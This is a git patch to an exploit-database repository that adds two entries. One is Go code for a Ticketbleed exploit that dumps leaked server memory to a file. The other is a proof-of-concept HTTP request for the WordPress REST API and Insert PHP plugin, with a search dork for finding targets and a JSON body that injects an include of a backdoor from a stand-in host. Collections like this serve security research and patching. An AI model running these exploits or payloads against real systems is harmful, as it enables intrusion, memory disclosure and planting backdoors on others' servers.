From 187fb60098f736532b7568ddfb34a81c8a664368 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sun, 12 Feb 2017 05:01:16 +0000 Subject: [PATCH] DB: 2017-02-12 1 new exploits WordPress 4.7.0/4.7.1 Plugin Insert PHP - PHP Code Injection --- files.csv | 1 + platforms/hardware/remote/41298.txt | 108 +++++++++++++++++++++++++++- platforms/php/webapps/41308.txt | 24 +++++++ 3 files changed, 132 insertions(+), 1 deletion(-) create mode 100755 platforms/php/webapps/41308.txt diff --git a/files.csv b/files.csv index c0a1fcc4e..317ce272d 100644 --- a/files.csv +++ b/files.csv @@ -37227,3 +37227,4 @@ id,file,description,date,author,platform,type,port 41306,platforms/php/webapps/41306.txt,"Video Subscription - SQL Injection",2017-02-10,"Ihsan Sencan",php,webapps,0 41299,platforms/hardware/webapps/41299.html,"D-link DIR-600M - Cross-Site Request Forgery",2017-02-10,"Ajay S. Kulal",hardware,webapps,0 41307,platforms/php/webapps/41307.txt,"HotelCMS with Booking Engine - SQL Injection",2017-02-10,"Ihsan Sencan",php,webapps,0 +41308,platforms/php/webapps/41308.txt,"WordPress 4.7.0/4.7.1 Plugin Insert PHP - PHP Code Injection",2017-02-09,CrashBandicot,php,webapps,0 diff --git a/platforms/hardware/remote/41298.txt b/platforms/hardware/remote/41298.txt index cf6120f72..a1757a3a1 100755 --- a/platforms/hardware/remote/41298.txt +++ b/platforms/hardware/remote/41298.txt @@ -7,6 +7,112 @@ # Tested on: [Multiple] # CVE : [CVE-2016-9244] -POC: + + + +BUILD: + go get github.com/EgeBalci/Ticketbleed + go build Ticketbleed.go + +USAGE: + ./ticketbleed +OPTIONS: + -o, --out Output filename for raw memory + -s, --size Size in bytes to read + -h, --help Print this message + +*/ +package main + +import "github.com/EgeBalci/Ticketbleed" +import "strconv" +import "strings" +import "fmt" +import "os" + + +var OutputFile string = "" +var BleedSize int = 0 + +func main() { + + + ARGS := os.Args[1:] + if len(ARGS) < 1 || len(ARGS) > 5{ + fmt.Println(Help) + os.Exit(1) + } + + for i := 0; i < len(ARGS); i++{ + + if ARGS[i] == "-h" || ARGS[i] == "--help"{ + fmt.Println(Help) + os.Exit(1) + } + + if ARGS[i] == "-o" || ARGS[i] == "--out"{ + OutputFile = ARGS[i+1] + } + + if ARGS[i] == "-s" || ARGS[i] == "--size"{ + Size,err := strconv.Atoi(ARGS[i+1]) + if err != nil { + fmt.Println("[-] ERROR: Invalid size value !") + os.Exit(1) + } + if Size < 0 { + fmt.Println("[-] ERROR: Size can't be smaller than 0") + os.Exit(1) + }else{ + BleedSize = Size + } + } + } + + if OutputFile != "" { + File, FileErr := os.Create(OutputFile) + if FileErr != nil { + fmt.Println("[-] ERROR: While creating output file !") + os.Exit(1) + } + File.Close() + fmt.Println("[*] Output file: "+OutputFile) + } + + VulnStatus := Ticketbleed.Check(ARGS[0]) // First check if it's vulnerable + fmt.Println(VulnStatus) + if strings.Contains(VulnStatus, "[+]") { + + go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // With using multiple threads it is easyer to move on stack + Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // Othervise server echoes back alot of duplicate value + } + +} + + + +var Help string = ` +▄▄▄█████▓ ██▓ ▄████▄ ██ ▄█▀▓█████▄▄▄█████▓ ▄▄▄▄ ██▓ ▓█████ ▓█████ ▓█████▄ +▓ ██▒ ▓▒▓██▒▒██▀ ▀█ ██▄█▒ ▓█ ▀▓ ██▒ ▓▒▓█████▄ ▓██▒ ▓█ ▀ ▓█ ▀ ▒██▀ ██▌ +▒ ▓██░ ▒░▒██▒▒▓█ ▄ ▓███▄░ ▒███ ▒ ▓██░ ▒░▒██▒ ▄██▒██░ ▒███ ▒███ ░██ █▌ +░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄░ ▓██▓ ░ ▒██░█▀ ▒██░ ▒▓█ ▄ ▒▓█ ▄ ░▓█▄ ▌ + ▒██▒ ░ ░██░▒ ▓███▀ ░▒██▒ █▄░▒████▒ ▒██▒ ░ ░▓█ ▀█▓░██████▒░▒████▒░▒████▒░▒████▓ + ▒ ░░ ░▓ ░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░ ▒ ░░ ░▒▓███▀▒░ ▒░▓ ░░░ ▒░ ░░░ ▒░ ░ ▒▒▓ ▒ + ░ ▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░ ▒░▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ▒ + ░ ▒ ░░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ + ░ ░ ░ + +Author: Ege Balci +Github: github.com/EgeBalci + + +USAGE: + ./ticketbleed +OPTIONS: + -o, --out Output filename for raw memory + -s, --size Size in bytes to read + -h, --help Print this message +` https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41298.zip \ No newline at end of file diff --git a/platforms/php/webapps/41308.txt b/platforms/php/webapps/41308.txt new file mode 100755 index 000000000..9f03c8fba --- /dev/null +++ b/platforms/php/webapps/41308.txt @@ -0,0 +1,24 @@ +# Exploit Title: WordPress 4.7.0/4.7.1 Plugin Insert PHP - PHP Code Injection +# Exploit Author: sucuri.net @sucurisecurity +# Date: 2017-02-09 +# Google Dork : inurl:/wp-content/plugins/insert-php/ +# Vendor Homepage: https://fr.wordpress.org/plugins/insert-php/ +# Tested on: MSWin32 +# Version: <3.3.1 + +# Explanation : You Can Inject PHP Code INTO Pages via Wordpress REST API Vulnerability + +# PoC : +POST http://localhost.com/wp-json/wp/v2/posts/1234 HTTP/1.1 +Host: localhost.com +User-Agent: Xploit +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.8 +Accept-Encoding: gzip,deflate,lzma,sdch +Connection: keep-alive +content-type: application/json + +{ "id": "1234ffff", "title": "by Hacker", "content": "[insert_php] include('http[:]//evilhost.com/file/backdoor.php'); [/insert_php][php] include('http[:]//evilhost.com/file/backdoor.php'); [/php]" } + + +# Reference : https://blog.sucuri.net/2017/02/rce-attempts-against-the-latest-wordpress-rest-api-vulnerability.html \ No newline at end of file